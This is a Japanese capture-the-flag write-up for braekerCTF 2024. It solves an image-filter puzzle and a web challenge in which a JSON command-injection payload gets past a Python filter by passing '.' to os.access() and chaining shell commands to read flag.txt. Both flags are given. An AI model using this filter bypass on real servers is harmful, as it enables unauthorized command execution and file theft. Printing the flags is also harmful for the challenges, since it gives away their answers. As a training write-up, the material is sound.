🤖
braekerCTF 2024 writeup
[Programming / Misc] Eye Doctor
以下のような画像が与えられました。

Aperi Solve にかけても特に何も分かりませんでした。
とりあえず、GIMPで編集されていたようなので、自分もGIMPを使って色々フィルターをかけてみました。
エンボスというフィルターをかけたところ、以下のように文字が浮き出てきました。

少し読みづらいですが文脈で補正します。
brck{4ppr04ch1tfr0M4D1ff3r3ntAngl3}
[Webservices] Empty execution
フィルターに引っかからずに、サーバー側でコマンドを実行してflag.txtを閲覧する問題でした。
コマンドは以下のように3つのフィルターで制限されています。
# Length check
if len(command) < 5:
return jsonify({'message': 'Command too short'}), 501
# Perform security checks
if '..' in command or '/' in command:
return jsonify({'message': 'Hacking attempt detected'}), 501
# Find path to executable
executable_to_run = command.split()[0]
# Check if we can execute the binary
if os.access(executable_to_run, os.X_OK):
# Execute binary if it exists and is executable
out = os.popen(command).read()
return jsonify({'message': 'Command output: ' + str(out)}), 200
各フィルターの条件については以下の通りです。
- 5文字以上
-
..と/は使えない - コマンドと引数に分けた時、コマンドの部分が実行可能である
また、3つ目のフィルターについては、実行可能なコマンド(バイナリ)がexecutablesディレクトリ内のものに制限されているようです。
以下、flagを得るためのコマンドです。
{
"command":". ;flagfile=$(echo $(pwd | cut -c -13)flag.txt);cat $flagfile"
}
コマンドを実行する上で、3つ目のフィルターが邪魔になりますが、3つ目のフィルターに用いられるos.access()は第一引数に渡されたpathが実行可能かを判定するだけなので、executablesディレクトリ内にある(どんなディレクトリにもある).をos.access()に渡せば回避できます。
その後は;でつないで好きなコマンドを実行できるのでflag.txtをcatで読み込んでフラグを取得します。ただ、2つ目のフィルターによって..と/は使えないので、カレントディレクトリ/usr/src/app/executablesからexecutablesを削除してflag.txtを付け加えてパスを指定しています。
brck{Ch33r_Up_BuddY_JU5t_3x3Cut3_4_D1reCT0ry}
Discussion